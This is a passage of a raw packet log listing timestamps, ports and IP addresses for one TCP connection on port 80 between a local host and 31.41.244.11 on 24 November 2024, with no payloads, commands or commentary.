Nov 24, 2024 14:24:21.824903965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.825670004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.825721025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.825762987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.825810909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.826598883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.826663017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.826738119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.826786995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.827539921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.827589035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.827649117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.827701092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.828447104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.828496933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.828555107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.828607082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.829402924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.829447985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.829488993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.829539061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.830342054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.830390930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.830478907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.830538988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.831255913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.831310987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.831387997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.831449032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.832201958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.832251072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.832418919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.832472086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.833122015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.833173037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.833209038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.833259106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.834053993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.834105015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.834140062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.834189892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.834956884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.835006952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.835191965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.835242033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.835908890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.835971117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.836095095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.836141109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.836841106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.836894035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.836931944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.836977959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.837770939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.837820053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.837903976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.837949038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.838707924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.838757992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.838833094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.838881016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.839622021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.839673042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.839705944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.839756012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.840537071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.840585947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.840661049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.840708017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.841468096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.841521978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.841553926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.841603041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.842405081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.842452049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.842509031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.842556953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.843348980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.843409061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.843436956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.843485117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.844333887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.844383001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.844417095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.844470024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.845244884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.845294952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.845344067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.845393896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.846218109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.846280098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.846383095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.846431971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.847067118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.847116947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.847151041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.847201109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.847986937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.848037958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.000838995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.001017094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.001092911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.001224041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.001362085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.001529932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.002160072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.002322912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.002381086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.003134966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.003190994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.003237009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.004045963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.004101992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.004146099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.004968882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.005043030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.005050898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.005101919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.005882025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.006000996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.006053925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.006814003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.006867886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.006922007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.007901907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.007914066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.007960081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.008665085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.008713961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.008928061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.009592056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.009655952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.009696960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.010530949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.010576963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.010638952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.010684013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.011437893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.011531115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.011575937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.012381077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.012506962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.012552023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.013302088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.013348103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.013408899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.014290094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.014337063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.014339924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.015239000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.015264034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.015283108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.015327930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.016104937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.016143084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.016211033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.016275883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.017031908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.017090082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.017128944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.017294884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.017966986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.018019915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.018100023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.018208027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.018894911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.019071102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.019115925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.019115925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.020127058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.020236969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.020299911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.020390987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.021213055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.021266937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.021302938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.022392035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.022444010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.022448063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.022485971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.023200035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.023248911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.023380995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.023479939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.024550915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.024601936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.024631977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.024703979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.025469065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.025513887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.025547981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.025588989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.026438951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.026485920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.026547909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.026591063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.027309895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.027369022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.027378082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.027441025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.028232098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.028280973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.028315067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.028368950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.029014111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.029113054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.029114962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.029309988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.029908895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.029957056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.029983997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.030093908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.030613899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.030668020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.030694008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.030724049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.031208038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.031275988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.031300068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.031346083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.031948090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.032053947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.032098055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.032849073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.032959938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.032994986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.033790112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.033828020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.033869982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.034734011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.034778118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.034811974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.035365105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.035753965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.035864115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.035907984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.036550045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.036592007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.036632061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.037533998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.037595987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.037636995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.038395882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.038430929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.038512945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.039093971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.039334059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.039376020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.039438963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.039479017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.040281057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.040318966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.040376902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.040415049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.041188002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.041228056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.041296959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.041342020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.042118073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.042156935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.042212963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.042253971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.043102026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.043179989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.043200970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.043272018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.043973923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.044095993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.044140100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.044913054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.044953108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.045083046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.045484066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.045850039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.045963049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.046000957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.046772957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.046900034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.046936989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.047725916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.047943115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.047986031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.048660994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.048810959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.048855066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.049567938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.049608946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.202528000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.202832937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.202896118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.203020096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.203090906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.203130007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.204137087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.204349041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.204390049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.205324888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.205373049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.205408096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.206120968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.206166029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.206191063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.206960917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.207016945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.207051039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.207092047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.207736015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.207829952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.207873106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.208559990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.208646059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.208693981 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.209110022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.209152937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.209187031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.209841967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.209883928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.209954023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.211050034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.211218119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.211396933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.211436987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.212013006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.212052107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.212100029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.212682009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.212722063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.212780952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.213607073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.213655949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.213666916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.214544058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.214587927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.214642048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.214683056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.215399981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.215476036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.215517998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.216346979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.216437101 CET	80	49778	31.41.244.11	192.168.2.4
